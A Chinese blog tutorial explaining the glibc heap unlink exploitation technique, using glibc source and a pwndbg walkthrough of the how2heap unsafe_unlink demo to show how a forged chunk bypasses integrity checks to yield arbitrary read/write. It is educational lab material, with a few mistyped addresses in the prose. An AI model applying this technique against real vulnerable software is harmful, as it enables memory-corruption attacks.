欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]堆利用之unlink小结

[原创]堆利用之unlink小结

实验环境

glibc源码:2.29

实验主机:ubuntu 16.04

实验glibc版本:2.23

unlink原理

unlink_chunk函数用于将空闲的chunk从所在的bin中取出.在malloc_consolidate()函数将fastbin中的空闲chunk整理到unsorted_bin时,在malloc()函数将unsorted中的空闲chunk整理到smallbin或者largebin中,以及在malloc()函数获取堆空间时,都有可能调用unlink_chunk().

/* Take a chunk off a bin list.  */

static void

unlink_chunk (mstate av, mchunkptr p)

{

    //检查chunk的size和next_chunk的prev_size是否一致

    if (chunksize (p) != prev_size (next_chunk (p)))

        malloc_printerr ("corrupted size vs. prev_size");

    mchunkptr fd = p->fd;

    mchunkptr bk = p->bk;

    //检查fd和bk(双向链表完整性)

    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))

        malloc_printerr ("corrupted double-linked list");

    fd->bk = bk;

    bk->fd = fd;

    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)

    {

        //检查largebin中next_size双向链表的完整性

        if (p->fd_nextsize->bk_nextsize != p

        || p->bk_nextsize->fd_nextsize != p)

            malloc_printerr ("corrupted double-linked list (not small)");

        if (fd->fd_nextsize == NULL)

        {

            if (p->fd_nextsize == p)

                fd->fd_nextsize = fd->bk_nextsize = fd;

            else

            {

                fd->fd_nextsize = p->fd_nextsize;

                fd->bk_nextsize = p->bk_nextsize;

                p->fd_nextsize->bk_nextsize = fd;

                p->bk_nextsize->fd_nextsize = fd;

            }

        }

        else

        {

            p->fd_nextsize->bk_nextsize = p->bk_nextsize;

            p->bk_nextsize->fd_nextsize = p->fd_nextsize;

        }

    }

}

  • 因为待脱链空闲chunk p处于双向链表之中,所以有两个地方保存着p的大小,分别是p的size域和后一个chunk的prev_size,首先检查这两个size大小是否一致.

    if (chunksize (p) != prev_size (next_chunk (p)))
    
            malloc_printerr ("corrupted size vs. prev_size");
    
    
  • 然后通过fd和bk获得p的前一个空闲chunk和后一个空闲chunk,并对双向链表的完整性进行检查

    mchunkptr fd = p->fd;
    
    mchunkptr bk = p->bk;
    
    //检查fd和bk(双向链表完整性)
    
    if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    
    malloc_printerr ("corrupted double-linked list");
    
    
  • 因为p只可能从largebin或者smallbin中脱链,而这两个bin都是双向链表,因此脱链需要分别修改前后chunk的fd或者bk.

    fd->bk = bk;
    
    bk->fd = fd;
    
    
  • 如果是smallbin的话这会儿就算是脱链完成了,但对于largebin来说还需要修改fd_nextsize和bk_nextsize.首先是对next_size是否有效的检查

    if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    
    
  • 接着是对next_size双向链表的完整性检查.

    //检查largebin中next_size双向链表的完整性
    
    if (p->fd_nextsize->bk_nextsize != p
    
    || p->bk_nextsize->fd_nextsize != p)
    
        malloc_printerr ("corrupted double-linked list (not small)");
    
    
  • 后面的操作比较直观,就不仔细说了.

    if (fd->fd_nextsize == NULL)    
    
            {
    
                if (p->fd_nextsize == p)
    
                    fd->fd_nextsize = fd->bk_nextsize = fd;
    
                else
    
                {
    
                    fd->fd_nextsize = p->fd_nextsize;
    
                    fd->bk_nextsize = p->bk_nextsize;
    
                    p->fd_nextsize->bk_nextsize = fd;
    
                    p->bk_nextsize->fd_nextsize = fd;
    
                }
    
            }
    
            else
    
            {
    
                p->fd_nextsize->bk_nextsize = p->bk_nextsize;
    
                p->bk_nextsize->fd_nextsize = p->fd_nextsize;
    
            }
    
    

unlink exploit

  • 通过一个例子来学习一下,这里我选择的是how2heap系列教程的unsafe_unlink(删掉了一些输出语句).接下来写一下具体的调试步骤.

首先编译一下程序,我用的是ubuntu 16.04.

$ gcc -g unsafe_unlink.c -o unsafe_unlink

//unsafe_unlink.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <stdint.h>

uint64_t *chunk0_ptr;

int main()

{

    int malloc_size = 0x80; 

    int header_size = 2;

    chunk0_ptr = (uint64_t*) malloc(malloc_size); 

    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size);

    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);

    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;

    chunk1_hdr[0] = malloc_size;

    chunk1_hdr[1] &= ~1;

    chunk0_ptr[1] = malloc_size;

    free(chunk1_ptr);

    char victim_string[8];

    strcpy(victim_string,"Hello!~");

    chunk0_ptr[3] = (uint64_t) victim_string;

    fprintf(stderr, "Original value: %s\n",victim_string);

    chunk0_ptr[0] = 0x4141414142424242LL;

    fprintf(stderr, "New Value: %s\n",victim_string);

}

先设置断点,然后运行程序.到达断点之后进行单步执行

pwndbg> b main

Breakpoint 1 at 0x4006ae: file unsafe_unlink.c, line 10.

pwndbg> r

程序首先申请两个大小为0x80的chunk

0x602000 PREV_INUSE {

  prev_size = 0,

  size = 145,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0

}

0x602090 PREV_INUSE {

  prev_size = 0,

  size = 145,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0

}

0x602120 PREV_INUSE {

  prev_size = 0,

  size = 134881,

  fd = 0x0,

  bk = 0x0,

  fd_nextsize = 0x0,

  bk_nextsize = 0x0

}

pwndbg> x/40gx 0x602000

0x602000:       0x0000000000000000      0x0000000000000091 <--chunk0

0x602010:       0x0000000000000000      0x0000000000000000

0x602020:       0x0000000000000000      0x0000000000000000

0x602030:       0x0000000000000000      0x0000000000000000

0x602040:       0x0000000000000000      0x0000000000000000

0x602050:       0x0000000000000000      0x0000000000000000

0x602060:       0x0000000000000000      0x0000000000000000

0x602070:       0x0000000000000000      0x0000000000000000

0x602080:       0x0000000000000000      0x0000000000000000

0x602090:       0x0000000000000000      0x0000000000000091 <--chunk1

0x6020a0:       0x0000000000000000      0x0000000000000000

0x6020b0:       0x0000000000000000      0x0000000000000000

0x6020c0:       0x0000000000000000      0x0000000000000000

0x6020d0:       0x0000000000000000      0x0000000000000000

0x6020e0:       0x0000000000000000      0x0000000000000000

0x6020f0:       0x0000000000000000      0x0000000000000000

0x602100:       0x0000000000000000      0x0000000000000000

0x602110:       0x0000000000000000      0x0000000000000000

0x602120:       0x0000000000000000      0x0000000000020ee1

0x602130:       0x0000000000000000      0x0000000000000000

假设这个时候存在溢出使得我们可以任意修改chunk0,我们就可以在chunk0之中构造出一个fake chunk.

  • 由上面的源码可知我们有两个检查点需要绕过,第一个检查点就是对双向链表完整性的检查,即fd->bk != p || bk->fd != p.程序中使用了以下代码来绕过这个检查点

    chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
    
    chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
    
    

以前刚开始看到这的时候是一脸懵圈的,现在结合具体调试讲一讲.不过在开始具体讲解之前有必要先说一些关于堆的前置知识,熟悉的话可以自行跳过.首先,chunk在内存中的结构是这样的

An allocated chunk looks like this:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Size of previous chunk, if unallocated (P clear)  |

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Size of chunk, in bytes                     |A|M|P|

      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             User data starts here...                          .

            .                                                               .

            .             (malloc_usable_size() bytes)                      .

            .                                                               |

nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             (size of chunk, but used for application data)    |

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Size of next chunk, in bytes                |A|0|1|

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Free chunks are stored in circular doubly-linked lists, and look like this:

    chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Size of previous chunk, if unallocated (P clear)  |

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    `head:' |             Size of chunk, in bytes                     |A|0|P|

      mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Forward pointer to next chunk in list             |

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Back pointer to previous chunk in list            |

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Unused space (may be 0 bytes long)                .

            .                                                               .

            .                                                               |

nextchunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

    `foot:' |             Size of chunk, in bytes                           |

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            |             Size of next chunk, in bytes                |A|0|0|

            +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

我们malloc()函数返回的指针就是chunk中的mem.知道了这些以后我们回到程序代码中,chunk0_ptr[2]指向fake chunk中的fd,chunk0_ptr[3]指向fake chunk中的bk.执行前chunk0的结构如下

pwndbg> x/20gx 0x602000

0x602000:       0x0000000000000000      0x0000000000000091    <--chunk0

0x602010:       0x0000000000000000      0x0000000000000000    <--fake chunk

0x602020: 0x0000000000000000 <--chunk0_ptr[2] 0x0000000000000000 <--chunk0_ptr[3]

0x602030:       0x0000000000000000      0x0000000000000000

0x602040:       0x0000000000000000      0x0000000000000000

0x602050:       0x0000000000000000      0x0000000000000000

0x602060:       0x0000000000000000      0x0000000000000000

0x602070:       0x0000000000000000      0x0000000000000000

0x602080:       0x0000000000000000      0x0000000000000000

0x602090:       0x0000000000000000      0x0000000000000091

我们的&chunk0_ptr数值为0x602070.(uint64_t) &chunk0_ptr-(sizeof(uint64_t)3)的数值为0x602058,(uint64_t) &chunk0_ptr-(sizeof(uint64_t)3)的数值为0x602060.执行后chunk0的结构如下

pwndbg> x/20gx 0x602000

0x602000:       0x0000000000000000      0x0000000000000091    <--chunk0

0x602010:       0x0000000000000000      0x0000000000000000    <--fake chunk

0x602020: 0x0000000000601058 <--chunk0_ptr[2] 0x0000000000601060 <--chunk0_ptr[3]

0x602030:       0x0000000000000000      0x0000000000000000

0x602040:       0x0000000000000000      0x0000000000000000

0x602050:       0x0000000000000000      0x0000000000000000

0x602060:       0x0000000000000000      0x0000000000000000

0x602070:       0x0000000000000000      0x0000000000000000

0x602080:       0x0000000000000000      0x0000000000000000

0x602090:       0x0000000000000000      0x0000000000000091

pwndbg> x/5gx 0x601058

0x601058:       0x0000000000000000      0x00007ffff7dd2540

0x601068 <completed.7594>:      0x0000000000000000      0x0000000000602010

0x601078:       0x0000000000000000

pwndbg> x/5gx 0x601060

0x601060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2540      0x0000000000000000

0x601070 <chunk0_ptr>:  0x0000000000602010      0x0000000000000000

0x601080:       0x0000000000000000

现在,我们的fake chunk->fd为602058,由chunk结构可知,fake chunk->fd->bk为0x602070,其中保存着我们的fake chunk(603010).此时,fake chunk->fd->bk == fake chunk == 602010.同理可知fake chunk->bk->fd == fake chunk == 602010.就这样,我们已经绕过了第一个检查点.

  • 接下来绕过第二个检查点,关于对size的检查即if (chunksize (p) != prev_size (next_chunk (p))).

这个只要利用chunk0的溢出就可以直接修改fake chunk的size以及chunk1的prev_size.另外为了对fake chunk使用unlink,我们还需要修改chunk1的prev_inuse标志位,将fake chunk伪造为一个free chunk.

uint64_t *chunk1_hdr = chunk1_ptr - header_size;

chunk1_hdr[0] = malloc_size;

chunk1_hdr[1] &= ~1;

chunk0_ptr[1] = malloc_size;

执行上述代码之后,chunk0以及chunk1的布局如下

pwndbg> x/40gx 0x602000

0x602000:       0x0000000000000000      0x0000000000000091 <--chunk0

0x602010:       0x0000000000000000      0x0000000000000080 <--fake chunk

0x602020:       0x0000000000601058      0x0000000000601060

0x602030:       0x0000000000000000      0x0000000000000000

0x602040:       0x0000000000000000      0x0000000000000000

0x602050:       0x0000000000000000      0x0000000000000000

0x602060:       0x0000000000000000      0x0000000000000000

0x602070:       0x0000000000000000      0x0000000000000000

0x602080:       0x0000000000000000      0x0000000000000000

0x602090:       0x0000000000000080      0x0000000000000090 <--chunk1

0x6020a0:       0x0000000000000000      0x0000000000000000

0x6020b0:       0x0000000000000000      0x0000000000000000

0x6020c0:       0x0000000000000000      0x0000000000000000

0x6020d0:       0x0000000000000000      0x0000000000000000

0x6020e0:       0x0000000000000000      0x0000000000000000

0x6020f0:       0x0000000000000000      0x0000000000000000

0x602100:       0x0000000000000000      0x0000000000000000

0x602110:       0x0000000000000000      0x0000000000000000

0x602120:       0x0000000000000000      0x0000000000020ee1

0x602130:       0x0000000000000000      0x0000000000000000

这样的话,我们去free chunk1,系统会检测到fake chunk也是空闲chunk.然后系统会调用unlink将fake chunk从双向链表中拿出来(虽然这个双向链表是我们自己构建的).unlink过程如下

    fd->bk = bk 相当于 chunk0_ptr = &chunk0_ptr - 16

    bk->fd = fd 相当于 chunk0_ptr = &chunk0_ptr - 24

未执行unlink之前,chunk0_ptr的值是这样的

pwndbg> p chunk0_ptr

$1 = (uint64_t *) 0x602010

pwndbg> p &chunk0_ptr

$2 = (uint64_t **) 0x601070 <chunk0_ptr>

执行unlink之后,原本指向堆上fake chunk的chunk0_ptr指向了自身地址-24的地址.如下

pwndbg> p chunk0_ptr

$3 = (uint64_t *) 0x601058

pwndbg> p &chunk0_ptr

$4 = (uint64_t **) 0x601070 <chunk0_ptr>

现在,chunk0_ptr[3]的值为chunk0_ptr的值,即修改chunk0_ptr[3]就意味着修改chunk0_ptr指针指向的地方,chunk0_ptr成为了一个可以指向任意地址的指针.如果我们可以读取chunk0_ptr[0]的值,就有了任意地址读;如果我们可以写入chunk0_ptr[0],就有了任意地址写.

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功